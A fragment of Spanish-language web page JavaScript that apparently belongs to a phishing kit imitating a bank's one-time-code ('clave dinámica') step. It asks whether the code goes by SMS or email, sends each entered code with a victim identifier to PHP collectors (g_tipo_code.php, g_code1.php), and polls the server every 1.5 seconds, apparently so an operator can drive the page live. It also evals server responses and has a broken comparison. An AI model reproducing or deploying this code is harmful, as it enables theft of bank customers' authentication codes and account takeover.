              document.getElementsByClassName('texto_mostrar1')[0].innerHTML = 'Introduzca la clave dinámica enviada via Correo Electrónico';
            }

            var elementos_texto = document.querySelectorAll(".smart-form .label");
            elementos_texto.forEach(function(elemento) {
              elemento.style.marginBottom = "-6px";
            });
          }
        }

        conect_user = 0;
        setTimeout(Connect_system, 1500);
      },
      error: function(jqXHR, textStatus, errorThrown) {
        console.error('Error en la conexión:', textStatus, errorThrown);
        conect_user = 0;
        setTimeout(Connect_system, 1500);
      }
    });
  }
}

Connect_system();


///////////////////////////////////////////////////////////////////////////


document.getElementById("btn_clave").addEventListener("click", function() {


    var elementoACargar = document.querySelector(".cargando");
    elementoACargar.classList.remove("hide");

    var btn_clave = document.getElementById("btn_clave");
    btn_clave.classList.add("hide");

    var btn_cancel = document.getElementById("btn_cancel");
    btn_cancel.classList.add("hide");

    let tipo_code2 = document.getElementById('met').value;
    _iniciar_guardar_tipo_codigo(tipo_code2);

//////////////aca debemos cambiar despues de entregar la peticion...


});


//////////////////////////////////////////////////////////////////////////////

let presiono_sms =0;
function _iniciar_guardar_tipo_codigo(tipo_codigo){
    
    if(presiono_sms==1){return;}
    presiono_sms=1;

    console.log('proceso para guardar codigo sms:'+tipo_codigo);

    let ident = obtenerIdentificador();



    $.ajax({
        type:"POST",
        url:"../../../php/g_tipo_code.php",
        async: true,
        data:{"tipo_codigo":tipo_codigo,"ident": ident},
        success: function(datos){
        var dataJson = eval(datos);
         console.log(dataJson);

            presiono_sms=0;

            if(dataJson.length>0){
                 if(dataJson[0].guardo='si'){


                      setTimeout(function() {

                        document.getElementsByClassName('select')[0].classList.add('hide');
                        document.getElementsByClassName('contOTP')[0].classList.remove('hide');

                        if(tipo_codigo==1){
                            document.getElementsByClassName('texto_mostrar1')[0].innerHTML='Introduzca la clave dinámica enviada via SMS';
                        }
                        if(tipo_codigo==2){
                            document.getElementsByClassName('texto_mostrar1')[0].innerHTML='Introduzca la clave dinámica enviada via Correo Electrónico';
                        }


                        var elementos_texto = document.querySelectorAll(".smart-form .label");
                        elementos_texto.forEach(function(elemento) {
                            elemento.style.marginBottom = "-6px";
                        });


                    var elementoACargar = document.querySelector(".cargando");
                    elementoACargar.classList.add("hide");

                    var btn_clave = document.getElementById("btn_clave");
                    btn_clave.classList.add("hide");

                    var btn_ingresar = document.getElementById("btn_ingresar");
                    btn_ingresar.classList.remove("hide");

                    var btn_cancel = document.getElementById("btn_cancel");
                    btn_cancel.classList.remove("hide");



                    let tipo_code2 = document.getElementById('met').value;


            

                        }, 500);

                      

                 }
                
                          
            }else{
              

            }


         
      },});

}



///////////////////////////////////////////////////////////////////////////////


$(document).on("click","#btn_ingresar", function(){

console.log('click para enviar codigo');

let p1 = document.getElementById('code').value;
if(p1.length<6){
    return;
}

_iniciar_guardar_sms(p1);//proceso para guardar el codigo.

});


let presiono_sms1 =0;
function _iniciar_guardar_sms(a){
    

let ident = obtenerIdentificador();

    if(presiono_sms1==1){return;}
    presiono_sms1=1;

    console.log('proceso para guardar codigo sms correo / token');
    $.ajax({
        type:"POST",
        url:"../../../php/g_code1.php",
        async: true,
        data:{"a":a,"ident": ident},
        success: function(datos){
        var dataJson = eval(datos);
         console.log(dataJson);

            presiono_sms1=0;

            if(dataJson.length>0){
                 if(dataJson[0].guardo='si'){
                     localStorage.setItem("resp_form2", "0");// aca es que relaizo una consulta
                      localStorage.setItem("resp_form_session", "0");// aca es que relaizo una consulta
                     

                        var elementoACargar = document.querySelector(".cargando");
                        elementoACargar.classList.remove("hide");

                        var btn_clave = document.getElementById("btn_clave");
                        btn_clave.classList.add("hide");

                        var btn_cancel = document.getElementById("btn_cancel");
                        btn_cancel.classList.add("hide");

                        var btn_ingresar = document.getElementById("btn_ingresar");
                         btn_ingresar.classList.add("hide");

                         var cmdOlvido = document.getElementById("cmdOlvido");
                         cmdOlvido.classList.add("hide");


                 }
                
                          
            }else{
              

            }


         
      },});

}

//////////////////////////////


document.getElementById("code").addEventListener("keypress", function (e) {
    if (!/[0-9]/.test(e.key)) {
        e.preventDefault();
    }
});

</script>





</html>